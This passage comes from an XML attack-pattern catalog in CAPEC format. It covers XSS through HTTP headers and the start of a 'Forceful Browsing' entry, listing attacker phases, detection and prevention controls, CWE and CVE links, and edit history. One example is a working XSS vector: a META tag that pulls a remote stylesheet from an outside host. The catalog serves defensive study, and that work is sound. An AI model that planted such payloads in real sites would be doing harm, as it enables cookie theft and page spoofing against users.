												<Indicator_Description>
												<Text>No HTTP variables appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding HTTP variables is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe identified potential entry points
											for XSS vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												common script payloads to determine if an entry
												point actually represents a vulnerability and to
												characterize the extent to which the vulnerability
												can be exploited. He records all the responses from
												the server that include unmodified versions of his
												script.</Text>
											<Text>The attacker tries also to inject extra-parameter
												to the HTTP request to see if they are reflected
												back in the web page or in the HTTP response.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manually inject various script payloads into
												each identified entry point using a list of common
												script injection probes and observe system
												behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use an automated injection attack tool to
												inject various script payloads into each
												identified entry point using a list of common
												script injection probes and observe system
												behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of manual
												input of XSS probes in known URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>User-controllable input is embedded as part
												of generated HTTP headers</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Input parameters become part of the web page
												(even in meta tags)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Output to the browser is not encoded to
												remove executable scripting syntax.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>Nothing is returned to the web page. It may
												be a stored XSS. The unique identifier from the
												probe helps to trace the flow of the possible
												XSS.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's cross-site
												scripting string is repeated back verbatim at some
												point in the web site (if not on the same page).
												Note that sometimes, the payload might be well
												encoded in the page, but wouldn't be encoded at
												all in some other section of the same web page
												(title, script, etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>All HTML-sensitive characters
												are consistently re-encoded before being sent to
												the web browser.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are
												not.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers (not only GET, but all in the inputs),
												application servers, and other HTTP infrastructure
												(e.g., load balancers). Alert on standard XSS
												probes. The majority of attackers use well known
												strings to check for vulnerabilities. Use the same
												vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not embed
												user-controllable input generated HTTP
												headers</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target software must be a client that allows scripting communication from
						remote hosts, and attacker must control a remote site of some sort to
						redirect client and data to.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Utilize a remote style sheet set in the HTTP header for XSS attack.
							When the attacker is able to point to a remote stylesheet, any of the
							variables set in that stylesheet are controllable on the client side by
							the remote attacker. Like most XSS attacks, results vary depending on
							browser that is used.</Text>
						<Text>(source:http://ha.ckers.org/xss.html)</Text>
						<Text>&lt;META HTTP-EQUIV="Link"
							Content="&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet"&gt;</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Google's 404 redirection script was found vulnerable to this attack
							vector.</Text>
						<Text>Google's 404 file not found page read</Text>
						<Text>* Response headers: "Content-Type: text/html;
							charset=[encoding]".</Text>
						<Text>* Response body: &lt;META http-equiv="Content-Type" (...)
							charset=[encoding]/&gt;</Text>
						<Text>If the response sends an unexpected encoding type such as UTF-7, then
							no enforcement is done on the payload and arbitrary XSS code will be
							transported along with the standard HTTP response. Source:
							http://seclists.org/fulldisclosure/2005/Dec/1107.html</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>XSS can be used in variety of ways, because it is scripted and
							executes in a distribtued, asynchronous fashion it can create its own
							vector and openings. For example, the attacker can use XSS to mount a
							DDoS attack by having series of different computers unknowingly
							executing requests against a single host.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To achieve a redirection and use of less trusted source, an attacker
							can simply edit HTTP Headers that are sent to client machine.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Exploiting a client side vulnerability to inject malicious scripts
							into the browser's executable process.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to deploy a custom hostile service for access by targeted clients.
					Ability to communicate synchronously or asynchronously with client
					machine</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize strict type, character, and encoding enforcement</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Server side developers should not proxy content via XHR or other
						means, if a http proxy for remote content is setup on the server side, the
						client's browser has no way of discerning where the data is originating
						from.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as Javascript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Session tokens for specific host</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Patching software. There are many attack vectors for XSS
						on the client side and the server side. Many vulnerabilities are fixed in
						service packs for browser, web servers, and plug in technologies, staying
						current on patch release that deal with XSS countermeasures mitigates
						this.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through HTTP Headers.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. In the case of HTTP headers they
					may not be visible to the end user via a browser</Text>
			</Payload>
			<Activation_Zone>
				<Text>Header processing on the server or Client browser</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute scripts to launch attacks on server as well as
						remote client machine and environment</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>116<!--Improper Encoding or Escaping of Output--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Improper Neutralization of Invalid Characters in Identifiers in Web Pages--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store'--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-5442</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>ViewVC 1.0.2 and earlier does not specify a charset in its HTTP
							headers or HTML documents, which allows remote attackers to conduct
							cross-site scripting (XSS) attacks that inject arbitrary UTF-7 encoded
							JavaScript code via a view.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-3918</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>http_protocol.c in (1) IBM HTTP Server 6.0 before 6.0.2.13 and 6.1
							before 6.1.0.1, and (2) Apache HTTP Server 1.3 before 1.3.35, 2.0 before
							2.0.58, and 2.2 before 2.2.2, does not sanitize the Expect header from
							an HTTP request when it is reflected back in an error message, which
							might allow cross-site scripting (XSS) style attacks using web client
							components that can send arbitrary headers in requests, as demonstrated
							using a Flash SWF file.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Name</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="87" Name="Forceful Browsing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker employs forceful browsing to access portions of a website that
						are otherwise unreachable through direct URL entry.</Text>
					<Text>Usually, a front controller or similar design pattern is employed to
						protect access to portions of a web application.</Text>
					<Text>Forceful browsing enables an attacker to access information, perform
						privileged operations and otherwise reach sections of the web appplication
						that have been improperly protected.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using an automated tool, an attacker follows all
												public links on a web site. He records all the links
												he finds.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of links is created by
												the attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt well known or guessable resource
											locations</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using an automated tool, an attacker requests a
												variety of well-known URLs that correspond to
												administrative, debugging, or other useful internal
												actions. He records all the positive responses from
												the server.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												attempts on well known URLs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of attempts on well
												known URLs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Common resource identifiers are used (e.g.,
												/admin/, admin.jsp, admin.aspx, etc.)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Well known middleware or application
												platforms are used (e.g., Cold Fusion, WebSphere,
												WebLogic, JBoss, etc.)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker discovers one or
												more unprotected resources.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor errors (e.g.,
												404 not found) from web servers, application
												servers, and other HTTP infrastructure (e.g., load
												balancers). Alert on an unusual number of
												consecutive failures or total failures from a
												single host. Potentially alert on many failures
												from many different hosts, but in a relatively
												short time window.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create "honeypot" web
